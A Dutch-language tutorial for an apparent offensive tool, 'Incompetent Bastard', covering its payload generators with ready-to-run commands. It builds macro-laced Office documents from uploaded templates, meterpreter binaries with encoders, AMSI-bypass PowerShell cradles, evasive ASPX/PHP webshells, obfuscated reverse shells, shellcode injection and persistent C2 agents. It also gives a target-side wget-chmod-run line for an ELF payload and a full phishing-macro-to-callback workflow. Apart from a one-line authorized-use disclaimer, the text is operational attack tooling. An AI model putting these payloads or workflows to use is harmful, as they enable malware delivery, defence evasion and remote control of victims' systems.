IB Payload Generators: Van Macro tot Agent
Incompetent Bastard (IB) bevat een uitgebreide set payload-generators die je rechtstreeks vanuit het dashboard kunt gebruiken. Van Office macro’s en meterpreter-binaries tot Python reverse shells en custom C2-agents: elke generator produceert kant-en-klare payloads die terugbellen naar je IB instance. In deze tutorial doorlopen we alle beschikbare generators en demonstreren we de workflow van generatie tot deployment.
Deze tutorial is uitsluitend bedoeld voor gebruik in geautoriseerde testomgevingen.
Vereisten
- Een draaiende IB instance op
http://127.0.0.1:5000 - De localhost URL correct ingesteld in Settings (zie installatie-tutorial)
- Python 3.10+ met de IB virtual environment geactiveerd
- Optioneel:
msfvenom(Metasploit Framework) voor binary payload-generatie - Optioneel:
msbuild(Mono/.NET) voor C# compilatie
IB – De generators zijn alleen bereikbaar vanaf localhost (127.0.0.1). Alle generators gebruiken het IP-adres uit je Settings als standaard callback-adres.
Stap 1: De Generator Workflow
Elke payload-generator in IB volgt dezelfde workflow:
- Configureer je IP – Stel de localhost URL in via Settings (tandwiel-icoon)
- Open de generator – Klik op de bijbehorende knop in Quick Actions
- Vul parameters in – IP, poort, payload-type en opties
- Start generatie – IB voert het generator-script uit als achtergrondproces
- Download of kopieer – Het resultaat is beschikbaar als download of als tekst
Alle generators draaien asynchroon. Na het starten retourneert de API
een run_id:
# Start generatie
curl -X POST http://127.0.0.1:5000/api/macro/generate \
-d "lhost=10.10.14.5&lport=443&payload=windows/meterpreter/reverse_https"
# Poll status
curl http://127.0.0.1:5000/api/generate/status/<run_id>De status doorloopt: running -> success
of failed. Bij succes is een download beschikbaar via
/api/generate/download/<run_id>.
Stap 2: Office Macro Generator
Route: /dashboard/macro en
/dashboard/macro2
De Macro generator maakt VBA-macro’s die shellcode uitvoeren bij het openen van een Word- of Excel-document. Macro v2 ondersteunt een extra LURI-parameter voor staging via een specifiek pad.
curl -X POST http://127.0.0.1:5000/api/macro/generate \
-F "lhost=10.10.14.5" \
-F "lport=443" \
-F "payload=windows/x64/meterpreter/reverse_https" \
-F "template=@offerte.docx"Beide generators ondersteunen template-injectie: upload een
.docx of .xlsx bestand en de macro wordt erin
geplaatst. Het resultaat is een .docm of
.xlsm. Voeg obfuscate_vba=1 toe voor
VBA-obfuscatie.
Beschikbare payloads: windows/meterpreter/reverse_https,
windows/meterpreter/reverse_tcp,
windows/x64/meterpreter/reverse_https,
windows/x64/meterpreter/reverse_tcp,
windows/shell_reverse_tcp,
windows/x64/shell_reverse_tcp.
IB – Macro-beveiliging in moderne Office blokkeert standaard macro’s uit onvertrouwde bronnen. Test altijd of macro’s daadwerkelijk uitvoeren op het doelsysteem.
Stap 3: Meterpreter Generators
Route: /dashboard/meterpreter en
/dashboard/meterpreter2
Meterpreter v1 genereert XOR-encrypted C# shellcode (output:
meth.exe of meth.cs). Meterpreter v2 gebruikt
msfvenom en ondersteunt LURI:
curl -X POST http://127.0.0.1:5000/api/meterpreter/generate \
-F "lhost=10.10.14.5" -F "lport=443" \
-F "payload=windows/x64/meterpreter/reverse_https" \
-F "key=mysecretkey" -F "encoder=x86/shikata_ga_nai" -F "iterations=5"Beschikbare encoders: x86/shikata_ga_nai,
x64/xor_dynamic, x64/xor,
x86/xor, x86/alpha_mixed,
x64/zutto_dekiru.
Stap 4: PowerShell Generator
Route: /dashboard/powershell
Genereert PowerShell download cradles met optionele AMSI-bypass en
obfuscatie. Produceert amsi-bypass.ps1 en
amsi-shell.ps1 in http/payloads/:
curl -X POST http://127.0.0.1:5000/api/powershell/generate \
-F "lhost=10.10.14.5" -F "lport=443" -F "luri=/" \
-F "payload=windows/x64/custom/reverse_winhttps" \
-F "amsi_obfuscate=1" -F "obf_technique=mixed"Obfuscatietechnieken: mixed (combinatie, aanbevolen),
subexpr, format, chararray,
backtick.
IB – AMSI-obfuscatie vervangt bekende signature-strings. Update signatures via de Task Runner (taak “Update AMSI signatures”).
Stap 5: Webshells (ASPX en PHP)
Route: /dashboard/aspxshell en
/dashboard/phpshell
Beide generators produceren wachtwoordbeveiligde webshells met optionele features:
curl -X POST http://127.0.0.1:5000/api/aspxshell/generate \
-F "password=geheim123" -F "password_field=k" \
-F "features=upload" -F "features=filebrowser" -F "av_evasion=1"De PHP-generator werkt identiek via
/api/phpshell/generate. Output:
http/payloads/shell.aspx respectievelijk
shell.php. Features: upload (bestandsupload)
en filebrowser (directory browsing).
Stap 6: HTA, Linux ELF en MSI
HTA (/dashboard/hta) – HTML Application
payload in cradle of embedded modus:
curl -X POST http://127.0.0.1:5000/api/hta/generate \
-F "lhost=10.10.14.5" -F "lport=443" \
-F "payload=windows/x64/meterpreter/reverse_https" -F "mode=cradle"Linux ELF (/dashboard/linux_elf) – ELF
binary via msfvenom:
curl -X POST http://127.0.0.1:5000/api/linux_elf/generate \
-F "lhost=10.10.14.5" -F "lport=443" \
-F "payload=linux/x64/meterpreter/reverse_tcp" -F "bestand=shell"Op het doelsysteem:
wget http://10.10.14.5:5000/p/shell.elf -O /tmp/shell && chmod +x /tmp/shell && /tmp/shell
MSI (/dashboard/msi_payload) – Windows
Installer package, nuttig omdat msiexec vaak minder
opvalt:
curl -X POST http://127.0.0.1:5000/api/msi_payload/generate \
-F "lhost=10.10.14.5" -F "lport=443" \
-F "payload=windows/x64/meterpreter/reverse_https" -F "bestand=installer"Stap 7: Python RevShell en Shellcode Injector
Python RevShell (/dashboard/pyrevshell)
– Cross-platform reverse shell met PTY-ondersteuning:
curl -X POST http://127.0.0.1:5000/api/pyrevshell/generate \
-F "lhost=10.10.14.5" -F "lport=443" \
-F "mode=obfuscated" -F "platform=linux" -F "pty=1"Modi: plain of obfuscated. Platforms:
linux of windows. Output:
http/payloads/revshell.py.
Shellcode Injector
(/dashboard/invokeshellcode) – PowerShell
CreateRemoteThread injectie:
curl -X POST http://127.0.0.1:5000/api/invokeshellcode/generate \
-F "lhost=10.10.14.5" -F "lport=443" -F "luri=/" \
-F "amsi_obfuscate=1" -F "obf_technique=mixed"Output: http/payloads/invoke-shellcode.ps1.
Stap 8: Agent Generator
Route: /dashboard/agentgen
De Agent Generator genereert custom C2-agents in zeven talen:
Bash (agent.sh),
PowerShell (agent.ps1),
Python (agent.py), C#
(agent.cs), Go (agent.go),
Rust (agent.rs) en Ruby
(agent.rb).
curl -X POST http://127.0.0.1:5000/api/agentgen/generate \
-F "callback=http://10.10.14.5:5000" -F "language=powershell" \
-F "freq=5" -F "jitter=20" -F "killdate=2026-04-01" \
-F "amsi=1" -F "obfuscate=1" -F "persist=registry" -F "proxy_aware=1"| Parameter | Beschrijving |
|---|---|
freq |
Beacon-interval in seconden (1-3600) |
jitter |
Willekeurige vertraging 0-50% |
killdate |
Datum (YYYY-MM-DD) waarop de agent stopt |
retry_max |
Max herverbindingspogingen (1-20) |
amsi |
AMSI-bypass (alleen PowerShell) |
persist |
Persistentie: crontab (Bash/Python/Go/Rust/Ruby),
registry (PS/C#/Python), schtasks
(PS/C#/Python/Go) |
proxy/proxy_aware |
Proxy-ondersteuning |
De agent belt in bij /agent/checkin, haalt commando’s op
via /agent/cmd/<id> en stuurt resultaten terug via
/agent/res/<cmd_id>. Sessies worden automatisch
opgenomen als asciinema recordings.
IB – Agents met jitter en
killdate zijn moeilijker te detecteren en ruimen zichzelf
op na de pentest.
Stap 9: Obfuscatie bij Download
IB kan payloads on-the-fly obfusceren bij download. Voeg
?obf=1 toe aan de URL:
http://10.10.14.5:5000/p/amsi-bypass.ps1?obf=1&technique=mixed
Of activeer globale obfuscatie via de API:
curl -X POST http://127.0.0.1:5000/api/settings \
-H "Content-Type: application/json" \
-d '{"obfuscate_downloads": true, "obfuscate_technique": "chararray"}'Ondersteunde extensies: .ps1 (AMSI-obfuscatie),
.php, .aspx, .py,
.hta, .txt (multi-taal obfuscator).
Stap 10: Praktische Workflow
Complete workflow voor een meterpreter-sessie via Office macro:
# 1. Stel IP in
curl -X POST http://127.0.0.1:5000/api/settings \
-H "Content-Type: application/json" \
-d '{"localhost": "http://10.10.14.5:5000"}'
# 2. Start Metasploit handler
msfconsole -q -x "use exploit/multi/handler; \
set PAYLOAD windows/x64/meterpreter/reverse_https; \
set LHOST 10.10.14.5; set LPORT 443; run"
# 3. Genereer macro met template
curl -X POST http://127.0.0.1:5000/api/macro/generate \
-F "lhost=10.10.14.5" -F "lport=443" \
-F "payload=windows/x64/meterpreter/reverse_https" \
-F "template=@rapport.docx"
# 4. Download het .docm bestand via /api/generate/download/<run_id>
# 5. Lever af bij het doelsysteem en ontvang de callbackNaast specifieke generators biedt
/dashboard/reverseshells een overzichtspagina voor
multi-format reverse shells via
/api/reverseshells/generate.
IB – Houd het dashboard open tijdens een pentest. Nieuwe agents en callbacks verschijnen automatisch in de KPI-panelen.
Samenvatting
In deze tutorial hebben we alle payload-generators van IB doorlopen:
- De generieke workflow: configureer IP, kies generator, genereer, download
- Office Macro v1 en v2 met template-injectie en VBA-obfuscatie
- Meterpreter v1 (XOR C#) en v2 (msfvenom) met encoder-ondersteuning
- PowerShell cradles met vijf obfuscatietechnieken en AMSI-bypass
- ASPX en PHP webshells met wachtwoordbeveiliging
- HTA, Linux ELF en MSI payloads voor diverse platforms
- Python reverse shells en PowerShell shellcode-injectie
- De Agent Generator met 7 talen, persistentie, jitter en killdate
- On-the-fly obfuscatie bij downloads
- Een complete praktische workflow van generatie tot callback
Alle bestanden worden opgeslagen in http/payloads/ en
zijn downloadbaar via /p/<bestand>. Combineer de
generators met de Command Library voor een efficiente
pentest-workflow.